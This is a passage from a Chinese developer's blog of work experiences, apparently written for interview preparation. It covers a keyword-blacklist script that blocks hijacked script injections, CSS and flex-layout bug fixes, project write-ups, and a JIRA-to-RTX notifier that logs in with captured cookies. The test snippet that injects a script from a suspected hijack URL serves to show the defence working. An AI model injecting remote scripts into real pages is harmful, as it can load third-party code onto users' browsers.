<span class="line"><span style="color:#F07178;">            </span><span style="color:#89DDFF;font-style:italic;">if</span><span style="color:#F07178;"> (</span><span style="color:#A6ACCD;">value</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">indexOf</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">keyword</span><span style="color:#F07178;">) </span><span style="color:#89DDFF;">!==</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">-</span><span style="color:#F78C6C;">1</span><span style="color:#F07178;">) </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">              </span><span style="color:#A6ACCD;">console</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">warn</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">已禁止疑似劫持链接：</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">value</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">              </span><span style="color:#A6ACCD;">block</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#FF9CAC;">true</span></span>
<span class="line"><span style="color:#F07178;">            </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#F07178;">          </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#F07178;">          </span><span style="color:#89DDFF;font-style:italic;">if</span><span style="color:#F07178;"> (</span><span style="color:#89DDFF;">!</span><span style="color:#A6ACCD;">block</span><span style="color:#F07178;">) </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">            </span><span style="color:#A6ACCD;">obj</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">setAttribute</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">src</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">value</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">          </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#F07178;">        </span><span style="color:#89DDFF;">},</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#89DDFF;">}</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#89DDFF;font-style:italic;">return</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">obj</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#89DDFF;font-style:italic;">try</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#82AAFF;">_removeHijack</span><span style="color:#F07178;">()</span></span>
<span class="line"><span style="color:#89DDFF;">}</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;font-style:italic;">catch</span><span style="color:#A6ACCD;"> (error) </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#A6ACCD;">console</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">error</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">error</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"></span></code></pre></div><p>大致逻辑就是通过重写<code>document.createElemen</code>方法，当执行<code>createElemen</code>方法时，修改返回对象的<code>src</code>属性的<code>set</code>方法，检查 src 中的关键字，存在则禁止，未禁止的资源使用<code>setAttribute</code>方法赋值。</p><p>可以通过下面示例测试一下：</p><div class="language-js"><button title="Copy Code" class="copy"></button><span class="lang">js</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#C792EA;">function</span><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">addScript</span><span style="color:#89DDFF;">()</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#C792EA;">const</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">sc</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">createElement</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">script</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#A6ACCD;">sc</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">src</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">http://10.227.255.133:6001/extInfo?time=123</span><span style="color:#89DDFF;">&quot;</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#A6ACCD;">document</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">getElementsByTagName</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">head</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;">)[</span><span style="color:#F78C6C;">0</span><span style="color:#F07178;">]</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">appendChild</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">sc</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#82AAFF;">addScript</span><span style="color:#A6ACCD;">()</span></span>
<span class="line"><span style="color:#676E95;font-style:italic;">// 控制台打印：</span></span>
<span class="line"><span style="color:#676E95;font-style:italic;">// 已禁止疑似劫持链接： http://10.227.255.133:6001/extInfo?time=123</span></span>
<span class="line"></span></code></pre></div><p>经过验证，此方法有效解决了劫持代码加载第三方资源导致我们项目加载资源失败的问题！</p><p>另一个要注意的是，黑名单关键字不要和项目中的资源冲突，避免误杀，我们项目由于未加载这些，所以可以大胆使用。</p><h5 id="总结-1" tabindex="-1">总结 <a class="header-anchor" href="#总结-1" aria-hidden="true">#</a></h5><p>由于我们项目使用 http 协议，加上网络环境比较恶劣，各种病毒和广告肆无忌惮，前端能做的比较有限，但不代表我们一点办法没有！</p><h4 id="动态加载资源某些页面样式无效问题" tabindex="-1">动态加载资源某些页面样式无效问题 <a class="header-anchor" href="#动态加载资源某些页面样式无效问题" aria-hidden="true">#</a></h4><h5 id="遇到什么问题-2" tabindex="-1">遇到什么问题 <a class="header-anchor" href="#遇到什么问题-2" aria-hidden="true">#</a></h5><p>我维护一个项目时，收到一个 bug，当时一看，很奇怪，一个创建任务流程的步骤 2 页面，当按照步骤一步步点过去，步骤 2 页面样式正常， 但当直接跳转到步骤 2 时，页面样式异常！</p><p>经过分析，发现直接跳转比按流程跳转的样式少，咋一看有点诡异，其实是因为步骤页面使用了按需加载，而步骤 2 页面使用了步骤 1 的样式，如果按流程走，步骤 1 的样式加载后再去步骤 2 是没问题的。</p><p>问题就是直接跳转步骤 2，可能步骤 1 的样式并没有加载，导致问题。</p><h5 id="解决问题-2" tabindex="-1">解决问题 <a class="header-anchor" href="#解决问题-2" aria-hidden="true">#</a></h5><p>因为我负责的项目开启了<code>cssModules</code>，所以不会出现样式互相干扰的问题。</p><p>现在出现问题的这个项目使用的是全局选择器，怎么解决这个问题呢。</p><p>我想到三种想法：</p><p>第一种是缺什么补什么，把用到的步骤 1 的样式再次引入步骤 2。</p><p>第二种是，可以开启 cssModules，但比较麻烦，适合新开项目。</p><p>第三种则是去掉按需加载，这样打开步骤 2 页面时，样式是一定加载了的。</p><p>综合考虑，我选择了第一种，方便直接且影响和改动小。</p><h5 id="总结-2" tabindex="-1">总结 <a class="header-anchor" href="#总结-2" aria-hidden="true">#</a></h5><p>使用<code>cssModules</code>+<code>react.lazy</code>时，如果 page2 也引用了 page1.less，那么 page1.less 的数据在 page1 和 page2 的样式文件中都会存在，相当于拷贝一份，所以最佳实践是提取公共组件，并配合 webpack 的<code>splitChunks.minSize</code>配置来分解。</p><h4 id="chrome73-及以下-flex-布局滚动问题" tabindex="-1">chrome73 及以下 flex 布局滚动问题 <a class="header-anchor" href="#chrome73-及以下-flex-布局滚动问题" aria-hidden="true">#</a></h4><h5 id="遇到什么问题-3" tabindex="-1">遇到什么问题 <a class="header-anchor" href="#遇到什么问题-3" aria-hidden="true">#</a></h5><p>维护之前项目时，偶尔会遇到一种情况， 一个列表在 chrome73 及以下，能正常滚动，73 以上版本无法滚动。 有以下布局页面：</p><div class="language-html"><button title="Copy Code" class="copy"></button><span class="lang">html</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#89DDFF;">&lt;</span><span style="color:#F07178;">style</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#FFCB6B;">div</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">border</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> </span><span style="color:#F78C6C;">1px</span><span style="color:#A6ACCD;"> solid gray</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">padding</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> </span><span style="color:#F78C6C;">10px</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">.</span><span style="color:#FFCB6B;">box</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">height</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> </span><span style="color:#F78C6C;">300px</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">display</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> flex</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">flex-direction</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> column</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">.</span><span style="color:#FFCB6B;">parent</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">flex</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> </span><span style="color:#F78C6C;">1</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">display</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> flex</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">flex-direction</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> column</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">.</span><span style="color:#FFCB6B;">content</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">height</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> </span><span style="color:#F78C6C;">600px</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">border</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> </span><span style="color:#F78C6C;">2px</span><span style="color:#A6ACCD;"> solid blue</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">.</span><span style="color:#FFCB6B;">child</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">flex</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> </span><span style="color:#F78C6C;">1</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#B2CCD6;">overflow</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> auto</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#89DDFF;">&lt;/</span><span style="color:#F07178;">style</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#89DDFF;">&lt;</span><span style="color:#F07178;">body</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">&lt;</span><span style="color:#F07178;">div</span><span style="color:#89DDFF;"> </span><span style="color:#C792EA;">class</span><span style="color:#89DDFF;">=</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">box</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#89DDFF;">&lt;</span><span style="color:#F07178;">div</span><span style="color:#89DDFF;"> </span><span style="color:#C792EA;">class</span><span style="color:#89DDFF;">=</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">parent</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#A6ACCD;">      </span><span style="color:#89DDFF;">&lt;</span><span style="color:#F07178;">div</span><span style="color:#89DDFF;"> </span><span style="color:#C792EA;">class</span><span style="color:#89DDFF;">=</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">child</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#A6ACCD;">        </span><span style="color:#89DDFF;">&lt;</span><span style="color:#F07178;">div</span><span style="color:#89DDFF;"> </span><span style="color:#C792EA;">class</span><span style="color:#89DDFF;">=</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">content</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">&gt;</span><span style="color:#A6ACCD;">content</span><span style="color:#89DDFF;">&lt;/</span><span style="color:#F07178;">div</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#A6ACCD;">      </span><span style="color:#89DDFF;">&lt;/</span><span style="color:#F07178;">div</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#A6ACCD;">    </span><span style="color:#89DDFF;">&lt;/</span><span style="color:#F07178;">div</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">&lt;/</span><span style="color:#F07178;">div</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#89DDFF;">&lt;/</span><span style="color:#F07178;">body</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"></span></code></pre></div><p>我们期待的效果，以及在 chrome73 及以下版本展示的效果如下所示： <img src="/assets/flex73-1.90fe0649.png" alt=""> 我们看到，child 元素的高度按照<code>flex:1</code>，能正常让 content 内容滚动。</p><p>但在 chrome73 以上版本和其它现代浏览器，如 firefox 中，完全是另一种表现： <img src="/assets/flex73-2.1cd84df8.png" alt=""> 可以看到，除了<code>.box</code>元素高度 300，<code>.parent</code>和<code>.child</code>都是跟着<code>.content</code>元素被撑开了！</p><p>这是怎么回事？</p><h5 id="问题原因" tabindex="-1">问题原因 <a class="header-anchor" href="#问题原因" aria-hidden="true">#</a></h5><p>经过查找原因，是因为 flex 弹性盒子在 chrome 版本中实现有出入，flex 弹性盒子有一条规范如下：</p><blockquote><p>主轴上子元素的最小大小是内容的大小</p></blockquote><p>因为 chrome 之前没有严格按照规范，导致在 73 版本及以前，都是可以滚动的，而 firefox 则没有此问题。</p><p>chrome 在 73 之后修复了这个问题。</p><h5 id="解决问题-3" tabindex="-1">解决问题 <a class="header-anchor" href="#解决问题-3" aria-hidden="true">#</a></h5><p>那么我们应该怎么解决这个问题呢？</p><p>我们可以让主轴元素不使用默认行为，即不跟着内容的大小。</p><p>在<code>.parent</code>元素上添加如下三条注释属性中的一条：</p><div class="language-css"><button title="Copy Code" class="copy"></button><span class="lang">css</span><pre class="shiki material-theme-palenight has-highlighted-lines" tabindex="0"><code><span class="line"><span style="color:#89DDFF;">.</span><span style="color:#FFCB6B;">parent</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#B2CCD6;">flex</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> </span><span style="color:#F78C6C;">1</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#B2CCD6;">display</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> flex</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#B2CCD6;">flex-direction</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> column</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#B2CCD6;">border</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> </span><span style="color:#F78C6C;">1px</span><span style="color:#A6ACCD;"> solid seagreen</span><span style="color:#89DDFF;">;</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#B2CCD6;">padding</span><span style="color:#89DDFF;">:</span><span style="color:#A6ACCD;"> </span><span style="color:#F78C6C;">20px</span><span style="color:#89DDFF;">;</span></span>
<span class="line highlighted"><span style="color:#A6ACCD;">  </span><span style="color:#676E95;font-style:italic;">/* overflow: hidden; */</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#676E95;font-style:italic;">/* overflow: auto; */</span></span>
<span class="line highlighted"><span style="color:#A6ACCD;">  </span><span style="color:#676E95;font-style:italic;">/* min-height: 0; */</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"></span></code></pre></div><p>综合考虑，我才用的是<code>min-height: 0;</code>，这样影响最小。 至此，在不同版本的 chrome 中就能达到我们的预期效果。</p><h5 id="总结-3" tabindex="-1">总结 <a class="header-anchor" href="#总结-3" aria-hidden="true">#</a></h5><p>在平时开发中，我们可以多关注浏览器的更新日志，让重大改变心中有数，提早测试预防。</p><p>另一个就是开发时尽量多个浏览器和版本测试看下效果。</p><h2 id="你在项目中遇到的印象深刻的点" tabindex="-1">你在项目中遇到的印象深刻的点 <a class="header-anchor" href="#你在项目中遇到的印象深刻的点" aria-hidden="true">#</a></h2><h2 id="你项目中的亮点" tabindex="-1">你项目中的亮点 <a class="header-anchor" href="#你项目中的亮点" aria-hidden="true">#</a></h2><h2 id="说一个你主导的项目" tabindex="-1">说一个你主导的项目 <a class="header-anchor" href="#说一个你主导的项目" aria-hidden="true">#</a></h2><h3 id="管控平台" tabindex="-1">管控平台 <a class="header-anchor" href="#管控平台" aria-hidden="true">#</a></h3><h5 id="项目介绍" tabindex="-1">项目介绍 <a class="header-anchor" href="#项目介绍" aria-hidden="true">#</a></h5><p>政务和警务系统工作流标准化引擎，从对象要素的采集、管理，到任务的创建、分发，再到执行者的签收、做任务，最后到进度、成果、绩效的可视化呈现。</p><p>实现从原始数据到成果的全流程掌控和任务标准化，提升整体的信息化水平。</p><h5 id="我负责的工作" tabindex="-1">我负责的工作 <a class="header-anchor" href="#我负责的工作" aria-hidden="true">#</a></h5><p>主要工作： 项目前端小组主导者，负责基础脚手架搭建升级和维护，需求评估和任务分配，工作量和进度心中有数； 重难点模块开发者，承担项目中的重点和难点模块的开发，保证进度和质量；</p><p>负责的重点模块： <code>表单组件</code>: 整个系统核心模块之一，类似于问卷网之类的自定义表单功能； 它主要的功能是，几十个各种类型的组件可供选择，组件布局可自定义排版，有 pc 和手机端样式，并且有逻辑显隐功能，能够配置组件的显隐逻辑，让客户可以自己设计自己的表单并下发给执行者进行填写。</p><p>整个控制逻辑和流程比较复杂。 同时，该表单组件模块，需要提供给其它开发人员或页面调用，主要提供布局预览、详情查看和表单填写功能。</p><p><code>任务链的流程管理和分发模型里</code>： 里面有使用到连接线部分，因为使用到了 svg 画连接线。</p><blockquote><p>值得一提的是，在开发分发模型的连接线时，有一个问题，由于不同层级之间切换，连接线也需要切换，并且连接线有动画效果，最开始切换时，我只是更换了连接线 svg 中<code>animate</code>的<code>values</code>值，但是动画除了第一次，之后都不执行，分析后是因为<code>react</code>比较 DOM 树是通过<code>tag和key</code>来判断 dom 是否更新的，要重新执行动画，就要重新渲染组件，切换时，更换一个连接线组件的<code>key</code>值就好使了。</p></blockquote><p>其它： 性能优化、打包、自动化测试、公共组件（权限控制）、脚手架维护（基础库升级、全局 context）等</p><h5 id="工作成绩" tabindex="-1">工作成绩 <a class="header-anchor" href="#工作成绩" aria-hidden="true">#</a></h5><p>公司主推的标杆项目，已部署上线多个地方，自己负责的表单模块也经过不断的升级迭代，功能更强大、体验更好、更人性化！</p><h5 id="总结-4" tabindex="-1">总结 <a class="header-anchor" href="#总结-4" aria-hidden="true">#</a></h5><p>此项目前端部分由我主导，带领三个其它小伙伴一起，按时高质量完成需求，同时也有不定期的技术分享交流，促进团队技术实力和开发氛围提升。</p><h3 id="可视化系统" tabindex="-1">可视化系统 <a class="header-anchor" href="#可视化系统" aria-hidden="true">#</a></h3><h5 id="项目介绍-1" tabindex="-1">项目介绍 <a class="header-anchor" href="#项目介绍-1" aria-hidden="true">#</a></h5><p>可视化大屏系统，提供几十个丰富的各类型图表，自定义拖拽布局，可接入静态和动态数据，各种屏幕适配，十多种动画效果可供选择，可免密或加密分享，有一定的交互能力，让客户、项目、产品等各类人员，方便快捷的创建效果丰富的大屏</p><h5 id="我负责的工作-1" tabindex="-1">我负责的工作 <a class="header-anchor" href="#我负责的工作-1" aria-hidden="true">#</a></h5><p>前端部分最开始由我和另外一位小伙伴组成，后面由我独立负责开发</p><blockquote><p>特别提的一点是数据交流使用的自己实现的发布订阅工具<code>pubsub</code>，这样在大屏展现时，能更好的点对点更新单个图表数据。</p></blockquote><p>核心部分： <code>30+组件</code>： 其中包括十多个<code>echarts</code>图表，二十多个自研图表</p><p><code>编辑大屏界面</code>： 占大部分的开发工作量，功能繁多且复杂，主要包括：自定义拖拽、多选操作、对齐操作、层级操作、样式配置、数据接入等功能</p><p>拖拽库使用的是<code>react-rnd</code>，一个<code>react-draggable</code>和<code>react-resizable-box</code>组合体</p><p>另外值得一说的是，因为编辑界面有使用<code>scale</code>缩放，所以拖拽也需要支持 scale 值，但当时拖拽库并不支持，于是我修改了源码支持了<code>scale</code>值传入：</p><div class="language-"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#A6ACCD;">1、app/lib/react-rnd.js文件：</span></span>
<span class="line"><span style="color:#A6ACCD;">Draggable组件和Resizable组件增加scale属性</span></span>
<span class="line"><span style="color:#A6ACCD;"></span></span>
<span class="line"><span style="color:#A6ACCD;">2、node_modules/react-resizable-box/lib/index.js文件：</span></span>
<span class="line"><span style="color:#A6ACCD;">设置了scale属性的接收，并在onMouseMove函数中转换moveX和moveY</span></span>
<span class="line"><span style="color:#A6ACCD;"></span></span>
<span class="line"><span style="color:#A6ACCD;">3、node_modules/react-draggable/dist/react-draggable.js文件：</span></span>
<span class="line"><span style="color:#A6ACCD;">同理，设置了scale属性的接收，并转换对应的x、y、deltaX和deltaY</span></span>
<span class="line"><span style="color:#A6ACCD;"></span></span>
<span class="line"><span style="color:#A6ACCD;"></span></span></code></pre></div><p><code>大屏展现功能</code>： 展示配置好的大屏，主要功能：布局渲染、屏幕适配、数据加载、推送数据更新、图表显隐逻辑、性能优化等</p><p><code>3d漫游</code>： 和 gis 对接，配置一系列漫游点，以及 3d 地图上数据模块展示功能。 主要功能包括：配置界面的时间轴、数据展示文件夹的创建、对接漫游功能、展示界面的播放等</p><h5 id="工作成绩-1" tabindex="-1">工作成绩 <a class="header-anchor" href="#工作成绩-1" aria-hidden="true">#</a></h5><p>已上线多地，目前仅杭州地区线上就有 1000+各类大屏，这是公司之前在没有此系统前无法想象的部署速度</p><p>大副节约成本，不管是时间、金钱和人力，以前公司要做一个演示大屏，需要一个前端一个后端一个产品和 ui，至少两天的时间才能出来一个；现在一个人几小时就能搞定，还能随时修改样式和更换布局，效率大幅提高。</p><h5 id="总结-5" tabindex="-1">总结 <a class="header-anchor" href="#总结-5" aria-hidden="true">#</a></h5><p>这是我入职公司的第一个项目，最开始的设想是一个极简的拖拽布局功能，后来持续升级迭代为一个独立的系统，成为公司标杆项目之一，也是公司产品生态的最后一环！ 也是我第一个<code>react</code>项目，有很多不熟悉的，也有很多可以进一步优化的，总之，是我前端职业路上的重要项目。</p><blockquote><p>另外值得一提的是，这个项目在杭州地区上线后，还上过央视，还有公司年会，领导也是用的该系统制作的大屏面对几百号人进行演讲。作为主力开发者，看到这些还是很开心的，毕竟，工作不仅仅是为了养家糊口，也有自己的梦想和荣誉感！</p></blockquote><h2 id="你为团队或项目做了些什么贡献" tabindex="-1">你为团队或项目做了些什么贡献 <a class="header-anchor" href="#你为团队或项目做了些什么贡献" aria-hidden="true">#</a></h2><h3 id="提效工具" tabindex="-1">提效工具 <a class="header-anchor" href="#提效工具" aria-hidden="true">#</a></h3><h4 id="jira-任务-rtx-通知服务" tabindex="-1">jira 任务 rtx 通知服务 <a class="header-anchor" href="#jira-任务-rtx-通知服务" aria-hidden="true">#</a></h4><h5 id="产生背景" tabindex="-1">产生背景 <a class="header-anchor" href="#产生背景" aria-hidden="true">#</a></h5><p>公司的项目流程管理工具是<code>JIRA</code>，开发环境是局域网，内部通讯工具使用<code>腾讯通RTX</code>。</p><p>一般测试提出的 bug，或产品新分配的需求，会录入 jira 系统中，开发过程中，开发人员不能及时指导自己的 bug 和新需求，需要不断刷新网页，影响效率，这种情况持续了很长一段时间，也导致了一些问题，比如 bug 过期了可能还不知道。</p><p>作为一个比较喜欢折腾的人，也作为一个程序员，能自动化的东西绝不重复工作，我产生了一个想法，RTX 可以在桌面弹出消息框，jira 也是网页系统，可以写一个服务把这两者结合起来吗？</p><p>当 jira 新产生了任务，能及时获取到，并通过 RTX 通知对应的处理人员。</p><h5 id="分析可行性" tabindex="-1">分析可行性 <a class="header-anchor" href="#分析可行性" aria-hidden="true">#</a></h5><p>想法有了，下面分析下可行性。</p><p>首先，对应开发人员 jira 列表能否获取到？jira 登录问题？</p><ul><li><p>jira 列表 通过研究 jira 网页请求数据的方式，我找到一个统计列表接口，可以统计对应人员的 jira 任务列表：</p><div class="language-js"><button title="Copy Code" class="copy"></button><span class="lang">js</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#676E95;font-style:italic;">// 获取统计列表接口地址</span></span>
<span class="line"><span style="color:#C792EA;">const</span><span style="color:#A6ACCD;"> issueTableUrl </span><span style="color:#89DDFF;">=</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">http://41.196.99.33:8082/jira/rest/issueNav/1/issueTable</span><span style="color:#89DDFF;">&quot;</span></span>
<span class="line"></span></code></pre></div><p>通过<code>POST</code>请求带上<code>jql</code>（类似于 sql 查询语句）参数即可。</p></li><li><p>jira 登录 然后是 jira 登录，通过分析，只需要调用两个接口获取到 cookie 存起来就行：</p><div class="language-js"><button title="Copy Code" class="copy"></button><span class="lang">js</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#676E95;font-style:italic;">// jira登录地址</span></span>
<span class="line"><span style="color:#C792EA;">const</span><span style="color:#A6ACCD;"> loginUrl </span><span style="color:#89DDFF;">=</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">http://41.196.99.33:8082/jira/login.jsp</span><span style="color:#89DDFF;">&quot;</span></span>
<span class="line"><span style="color:#676E95;font-style:italic;">//  获取xsrf token的地址</span></span>
<span class="line"><span style="color:#C792EA;">const</span><span style="color:#A6ACCD;"> xsrfUrl </span><span style="color:#89DDFF;">=</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">http://41.196.99.33:8082/jira/</span><span style="color:#89DDFF;">&quot;</span></span>
<span class="line"></span></code></pre></div></li></ul><p>然后就是通知问题，RTX 有自定义接口吗？怎么通过 RTX 发出消息到开发人员？</p><p>经过查找资料，很幸运，找到了 rtx 发送通知的 cgi 接口：</p><div class="language-js"><button title="Copy Code" class="copy"></button><span class="lang">js</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#676E95;font-style:italic;">// 通知的url地址</span></span>
